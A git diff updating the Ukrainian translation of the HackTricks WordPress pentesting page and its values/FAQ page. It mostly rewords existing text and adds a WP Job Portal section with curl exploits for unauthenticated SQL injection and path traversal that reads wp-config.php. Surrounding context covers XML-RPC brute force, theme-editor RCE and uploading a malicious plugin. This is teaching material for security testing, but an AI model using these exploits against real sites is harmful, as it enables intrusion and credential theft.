diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 9b5d1e8c6..fe369367a 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,12 +5,12 @@ ## Основна інформація - **Завантажені** файли знаходяться за адресою: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Файли тем можна знайти в /wp-content/themes/,** тому, якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Файли тем можна знайти в /wp-content/themes/,** тому, якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до **404.php** файлу за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Ще один корисний URL може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - У **wp-config.php** ви можете знайти кореневий пароль бази даних. -- Шляхи для входу за замовчуванням для перевірки: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- Шляхи для входу за замовчуванням, які слід перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Основні файли WordPress** @@ -22,7 +22,7 @@ - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, що діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress. +- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, який діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress. - Папка `wp-content` є основним каталогом, де зберігаються плагіни та теми. - `wp-content/uploads/` - це каталог, де зберігаються всі файли, завантажені на платформу. - `wp-includes/` - це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети. @@ -46,7 +46,7 @@ Перевірте, чи можете ви знайти файли `/license.txt` або `/readme.html` -У **джерельному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Всередині **джерельного коду** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -79,11 +79,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Плагіни та Теми -Ви, напевно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно здійснити Брутфорс списку Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки). +Ви, ймовірно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки). ### Користувачі -- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, здійснюючи Брутфорс ID користувачів: +- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, Брутфорсуючи ID користувачів: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -105,7 +105,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ### XML-RPC -Якщо `xml-rpc.php` активний, ви можете виконати брутфорс облікових даних або використовувати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес[ використовуючи це](https://github.com/relarizky/wpxploit), наприклад). +Якщо `xml-rpc.php` активний, ви можете виконати брутфорс облікових даних або використовувати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес[ використовуючи це](https://github.com/relarizky/wpxploit) наприклад). Щоб перевірити, чи активний, спробуйте отримати доступ до _**/xmlrpc.php**_ і надішліть цей запит: @@ -120,7 +120,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **Брутфорс облікових даних** -**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** - це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок: +**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок: ```html wp.getUsersBlogs @@ -217,7 +217,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL Спробуйте отримати доступ до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і сайт Worpress може надіслати запит до вас. -Ось відповідь, коли це не працює: +Це відповідь, коли це не працює: ![](<../../images/image (365).png>) @@ -244,7 +244,7 @@ return new WP_Error( ``` ## **Panel RCE** -**Зміна php з теми, що використовується (потрібні облікові дані адміністратора)** +**Модифікація php з використаною теми (потрібні облікові дані адміністратора)** Зовнішній вигляд → Редактор тем → Шаблон 404 (праворуч) @@ -293,19 +293,19 @@ to get a session. ### Завантаження та активація шкідливого плагіна -Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, який можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином: +Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, і його можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином: 1. **Отримання плагіна**: Плагін отримується з джерела, такого як Exploit DB, як [**тут**](https://www.exploit-db.com/exploits/36374). 2. **Встановлення плагіна**: - Перейдіть до панелі управління WordPress, потім перейдіть до `Панель управління > Плагіни > Завантажити плагін`. - Завантажте zip-файл завантаженого плагіна. -3. **Активація плагіна**: Після успішної установки плагін повинен бути активований через панель управління. +3. **Активація плагіна**: Після успішної установки плагін потрібно активувати через панель управління. 4. **Експлуатація**: - З встановленим і активованим плагіном "reflex-gallery" його можна експлуатувати, оскільки відомо, що він вразливий. -- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши конкретні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту. +- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши специфічні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту. - Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress. -Зміст включає візуальні допоміжні матеріали, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом. +Зміст включає візуальні допоміжні засоби, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом. **Для більш детальних кроків перевірте:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) @@ -346,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **Використання `nopriv` робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).** > [!CAUTION] -> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай не перевіряючи роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями. +> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями. - **REST API** @@ -372,9 +372,9 @@ $this->namespace, '/get/', array( Теми та плагіни WordPress часто відкривають AJAX обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_**, **зворотний виклик стає доступним для неавтентифікованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізовувати: -1. Перевірку **можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і +1. **перевірку можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і 2. **CSRF nonce**, перевірений за допомогою `check_ajax_referer()` / `wp_verify_nonce()`, і -3. **Сувору санітизацію / валідацію вводу**. +3. **Сувору санітизацію / валідацію введення**. Мультифункціональна тема Litho (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений): ```php @@ -399,7 +399,7 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove * **Неавтентифікований доступ** – хук `wp_ajax_nopriv_` зареєстровано. * **Відсутня перевірка nonce / можливостей** – будь-який відвідувач може звернутися до кінцевої точки. -* **Відсутня санітизація шляху** – рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний `../../` обхід. +* **Відсутня санітизація шляху** – рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний перехід `../../`. #### Експлуатація @@ -419,7 +419,7 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ * Конкатенація неочищеного вводу користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`). * Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`. -#### Посилення безпеки +#### Ускладнення ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { @@ -440,7 +440,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ ``` > [!TIP] > **Завжди** розглядайте будь-яку операцію запису/видалення на диску як привілейовану та двічі перевіряйте: -> • Аутентифікація • Авторизація • Нонси • Санітизація введення • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`). +> • Аутентифікація • Авторизація • Нонси • Санітизація вводу • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`). --- @@ -464,14 +464,71 @@ add_filter( 'auto_update_theme', '__return_true' ); ### **Інші рекомендації** -- Видаліть користувача за замовчуванням **admin** +- Видаліть стандартного **admin** користувача - Використовуйте **сильні паролі** та **2FA** -- Періодично **переглядайте** права доступу користувачів -- **Обмежте спроби входу**, щоб запобігти атакам Brute Force +- Періодично **переглядайте** права **доступу** користувачів +- **Обмежте спроби входу** для запобігання атакам Brute Force - Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише внутрішньо або з певних IP-адрес. +### Неавтентифікований SQL-ін'єкція через недостатню валідацію (WP Job Portal <= 2.3.2) + +Плагін рекрутингу WP Job Portal відкрив задачу **savecategory**, яка в кінцевому підсумку виконує наступний вразливий код всередині `modules/category/model.php::validateFormData()`: +```php +$category = WPJOBPORTALrequest::getVar('parentid'); +$inquery = ' '; +if ($category) { +$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ +} +$query = "SELECT max(ordering)+1 AS maxordering FROM " +. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later +``` +Проблеми, введені цим фрагментом: + +1. **Несанітизований ввід користувача** – `parentid` надходить безпосередньо з HTTP запиту. +2. **Конкатенація рядків у WHERE клаузі** – немає `is_numeric()` / `esc_sql()` / підготовленого запиту. +3. **Несанкціонована досяжність** – хоча дія виконується через `admin-post.php`, єдина перевірка – це **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати з публічної сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`. + +#### Експлуатація + +1. Отримайте новий nonce: +```bash +curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 +``` +2. Впровадьте довільний SQL, зловживаючи `parentid`: +```bash +curl -X POST https://victim.com/wp-admin/admin-post.php \ +-d 'task=savecategory' \ +-d '_wpnonce=' \ +-d 'parentid=0 OR 1=1-- -' \ +-d 'cat_title=pwn' -d 'id=' +``` +Відповідь розкриває результат впровадженого запиту або змінює базу даних, що підтверджує SQLi. + + +### Несанкціоноване завантаження довільних файлів / Перехід по шляху (WP Job Portal <= 2.3.2) + +Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через перехід по шляху. Вразливий приймач знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`: +```php +$file = $path . '/' . $file_name; +... +echo $wp_filesystem->get_contents($file); // raw file output +``` +`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж таки, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме. + +#### Exploitation +```bash +curl -G https://victim.com/wp-admin/admin-post.php \ +--data-urlencode 'task=downloadcustomfile' \ +--data-urlencode '_wpnonce=' \ +--data-urlencode 'upload_for=resume' \ +--data-urlencode 'entity_id=1' \ +--data-urlencode 'file_name=../../../wp-config.php' +``` +Сервер відповідає вмістом `wp-config.php`, витікаючи облікові дані БД та ключі автентифікації. + ## Посилання -- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) +- [Вразливість неавтентифікованого довільного видалення файлів у темі Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) +- [Виправлено кілька критичних вразливостей у плагіні WP Job Portal](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 9c689e62f..afce641b1 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -13,9 +13,9 @@ > - **ЗБЕРІГАТИ** чудові **хакерські** техніки, які публікує спільнота, надаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** всі **кредити**. > - **Ми не хочемо кредиту від інших людей**, ми просто хочемо зберігати класні трюки для всіх. > - Ми також пишемо **свої власні дослідження** в HackTricks. -> - У кількох випадках ми просто напишемо **в HackTricks резюме важливих частин** техніки і **заохотимо читача відвідати оригінальний пост** для отримання додаткових деталей. -> - **ОРГАНІЗУВАТИ** всі хакерські техніки в книзі, щоб вони були **БІЛЬШ ДОСТУПНІМИ** -> - Команда HackTricks присвятила тисячі годин безкоштовно **тільки для організації контенту**, щоб люди могли **навчатися швидше** +> - У кількох випадках ми просто напишемо **в HackTricks резюме важливих частин** техніки і **заохочуватимемо читача відвідати оригінальний пост** для отримання додаткових деталей. +> - **ОРГАНІЗУВАТИ** всі хакерські техніки в книзі, щоб вони були **БІЛЬШ ДОСТУПНІМИ**. +> - Команда HackTricks присвятила тисячі годин безкоштовно **лише для організації контенту**, щоб люди могли **навчатися швидше**.
@@ -25,8 +25,8 @@ > > - **Дуже дякую за ці ресурси, як я можу вас подякувати?** -Ви можете публічно подякувати командам HackTricks за те, що зібрали всі ці ресурси публічно в твітті, згадуючи [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -Якщо ви особливо вдячні, ви також можете [**підтримати проект тут**](https://github.com/sponsors/carlospolop).\ +Ви можете публічно подякувати командам HackTricks за те, що зібрали всі ці ресурси, у твітті, згадуючи [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +Якщо ви особливо вдячні, ви також можете [**спонсорувати проект тут**](https://github.com/sponsors/carlospolop).\ І не забудьте **поставити зірку в проектах Github!** (Знайдіть посилання нижче). > [!TIP] @@ -42,15 +42,15 @@ > [!TIP] > -> - **Чи можу я скопіювати деякий контент з HackTricks і помістити його в свій блог?** +> - **Чи можу я скопіювати деякий контент з HackTricks і розмістити його в своєму блозі?** Так, ви можете, але **не забудьте згадати конкретне посилання(я),** звідки був взятий контент. > [!TIP] > -> - **Як я можу цитувати сторінку HackTricks?** +> - **Як я можу сторінку HackTricks?** -Досить, щоб з'явилося посилання **на** сторінку(і), звідки ви взяли інформацію.\ +Якщо посилання **на** сторінки, звідки ви взяли інформацію, з'являється, цього достатньо.\ Якщо вам потрібен bibtex, ви можете використовувати щось на зразок: ```latex @misc{hacktricks-bibtexing, @@ -72,7 +72,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **Чому у вас є спонсори? Чи є книги HackTricks комерційними?** -Перша **цінність HackTricks** полягає в тому, щоб пропонувати **БЕЗКОШТОВНІ** освітні ресурси з хакінгу **ВСІМ** у світі. Команда HackTricks **присвятила тисячі годин** для надання цього контенту, знову ж таки, **БЕЗКОШТОВНО**. +Перша **цінність HackTricks** полягає в тому, щоб пропонувати **БЕЗКОШТОВНІ** освітні ресурси з хакінгу **ВСЬОМУ** світу. Команда HackTricks **присвятила тисячі годин** для надання цього контенту, знову ж таки, **БЕЗКОШТОВНО**. Якщо ви вважаєте, що книги HackTricks створені для **комерційних цілей**, ви **ЦІЛКОМ ПОМИЛЯЄТЕСЬ**. @@ -82,7 +82,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > [!CAUTION] > -> - **Що мені робити, якщо якась сторінка HackTricks базується на моєму блозі, але не згадана?** +> - **Що мені робити, якщо деяка сторінка HackTricks базується на моєму блозі, але не згадана?** **Нам дуже шкода. Це не повинно було статися**. Будь ласка, дайте нам знати через Github issues, Twitter, Discord... посилання на сторінку HackTricks з контентом і посилання на ваш блог, і **ми перевіримо це і додамо якомога швидше**. @@ -92,7 +92,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks: -- Покращує ваше **SEO** +- Покращує ваш **SEO** - Контент **перекладається на більше ніж 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього контенту - **HackTricks заохочує** людей **перевіряти вашу сторінку** (декілька людей згадували нам, що з тих пір, як деяка їхня сторінка є в HackTricks, вони отримують більше відвідувань) @@ -112,18 +112,18 @@ Copyright © Усі права захищені, якщо не вказано і - Attribution: Ви вільні: - Share — копіювати та розповсюджувати матеріал в будь-якому середовищі або форматі. -- Adapt — реміксувати, трансформувати та розвивати матеріал. +- Adapt — реміксувати, трансформувати та створювати на основі матеріалу. #### Додаткові умови: - Third-Party Content: Деякі частини цього блогу/книги можуть містити контент з інших джерел, таких як уривки з інших блогів або публікацій. Використання такого контенту здійснюється відповідно до принципів добросовісного використання або з явним дозволом відповідних правовласників. Будь ласка, зверніться до оригінальних джерел для отримання конкретної інформації про ліцензування щодо контенту третіх сторін. -- Authorship: Оригінальний контент, автором якого є HackTricks, підлягає умовам цієї ліцензії. Вам рекомендується вказувати цю роботу автору при її поширенні або адаптації. +- Authorship: Оригінальний контент, автором якого є HackTricks, підлягає умовам цієї ліцензії. Вам рекомендується вказувати автора цієї роботи при її поширенні або адаптації. #### Винятки: - Commercial Use: Для запитів щодо комерційного використання цього контенту, будь ласка, зв'яжіться зі мною. -Ця ліцензія не надає жодних прав на товарні знаки або брендинг у відношенні до контенту. Усі товарні знаки та брендинг, представлені в цьому блозі/книзі, є власністю відповідних власників. +Ця ліцензія не надає жодних прав на товарні знаки або брендинг у відношенні до контенту. Усі товарні знаки та брендинг, представлені в цьому блозі/книзі, є власністю їх відповідних власників. **Використовуючи HackTricks, ви погоджуєтеся дотримуватися умов цієї ліцензії. Якщо ви не погоджуєтеся з цими умовами, будь ласка, не заходьте на цей веб-сайт.** @@ -134,7 +134,7 @@ Copyright © Усі права захищені, якщо не вказано і > > Автори та видавці не несуть жодної відповідальності за будь-які втрати або збитки, включаючи, без обмежень, непрямі або наслідкові втрати або збитки, або будь-які втрати або збитки, що виникають внаслідок втрати даних або прибутків, що виникають з, або у зв'язку з використанням цієї книги. > -> Крім того, техніки та поради, описані в цій книзі, надаються лише для освітніх та інформаційних цілей і не повинні використовуватися для будь-якої незаконної або зловмисної діяльності. Автори та видавці не схвалюють і не підтримують жодну незаконну або неетичну діяльність, і будь-яке використання інформації, що міститься в цій книзі, є на ризик і розсуд користувача. +> Крім того, техніки та поради, описані в цій книзі, надаються лише для освітніх та інформаційних цілей і не повинні використовуватися для будь-якої незаконної або зловмисної діяльності. Автори та видавці не схвалюють і не підтримують жодної незаконної або неетичної діяльності, і будь-яке використання інформації, що міститься в цій книзі, є на ризик і розсуд користувача. > > Користувач несе повну відповідальність за будь-які дії, вжиті на основі інформації, що міститься в цій книзі, і завжди повинен звертатися за професійною порадою та допомогою, намагаючись реалізувати будь-які з технік або порад, описаних тут. >